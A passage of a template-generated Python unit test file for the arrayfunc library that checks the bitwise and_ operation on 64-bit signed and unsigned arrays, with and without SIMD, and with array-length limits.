expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code q.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code q.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code q.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_even_arraysize_withsimd_simd_q(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 320
if 'even' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.q_min
maxval = arrayfunc.arraylimits.q_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('q', xdata)
self.data2 = array.array('q', ydata)
self.dataout = array.array('q', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code q.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code q.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code q.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_odd_arraysize_nosimd_simd_q(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 320
if 'odd' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.q_min
maxval = arrayfunc.arraylimits.q_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('q', xdata)
self.data2 = array.array('q', ydata)
self.dataout = array.array('q', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code q.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code q.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code q.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_odd_arraysize_withsimd_simd_q(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 320
if 'odd' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.q_min
maxval = arrayfunc.arraylimits.q_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('q', xdata)
self.data2 = array.array('q', ydata)
self.dataout = array.array('q', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code q.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code q.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code q.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_even_arraysize_nosimd_simd_Q(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 320
if 'even' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.Q_min
maxval = arrayfunc.arraylimits.Q_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('Q', xdata)
self.data2 = array.array('Q', ydata)
self.dataout = array.array('Q', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code Q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code Q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code Q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code Q.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code Q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code Q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code Q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code Q.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code Q.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code Q.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code Q.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_even_arraysize_withsimd_simd_Q(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 320
if 'even' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.Q_min
maxval = arrayfunc.arraylimits.Q_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('Q', xdata)
self.data2 = array.array('Q', ydata)
